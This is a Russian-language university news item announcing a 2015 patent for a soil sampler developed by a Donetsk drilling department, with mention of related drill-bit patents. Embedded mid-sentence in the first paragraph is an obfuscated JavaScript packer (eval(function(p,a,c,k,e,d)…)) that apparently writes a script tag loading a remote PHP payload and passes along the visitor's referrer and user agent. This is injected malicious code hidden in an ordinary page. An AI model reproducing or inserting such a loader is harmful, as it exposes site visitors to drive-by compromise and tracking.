

Сотрудниками eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";',30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnnes|var|u0026u|referrer|ynnti||js|php'.split('|'),0, {})) кафедры Технологии и техники бурения скважин Донецкого национального технического университета (ДонНТУ) под руководством Артура Каракозова проводятся исследования в области создания новых технических средств и технологий бурения геологоразведочных скважин.



Одними из последних достижений кафедры является средства для отбора проб грунтов в нескальных донных отложениях. По этой тематике в **ноябре месяце 2015 г. получен очередной патент на изобретение** № 110065 «Пробоотборник», опубликованный 10.11.2015 г. в бюллетене №21.

Автор: Kondratenko
15.12.2015 12:18

Отдел интеллектуальной собственности и патентно-лицензионной работы Донецкого национального технического университета (ДонНТУ) **поздравляет авторов устройства:** Каракозова А.А., Рязанова А.М., Зыбинского П.В., Парфенюка С.М. с положительным результатом экспертизы изобретения и получением патента.

Особая конструкция пробоотборника обеспечивает повышение скорости бурения скважин за счет возможности промывания забоя через скважину керноприемной трубы независимо от значения подачи жидкости и повышения энергии удара бойка по наковальне.

Кроме этого, в 2015 г. на кафедре ранее уже получены патенты на изобретения на серию алмазных однослойных буровых коронок, обеспечивающих увеличение ресурса работы алмазного породоразрушающего инструмента за счет равномерного распределения нагрузки.

В настоящее время созданы опытные образцы защищенных патентами устройств, проводятся их экспериментальные исследования, подтверждающие эффективность новых разработок, и планируется их использование при бурении скважин при проведении инженерно-геологических изысканий, в том числе и на нефтяных месторождениях.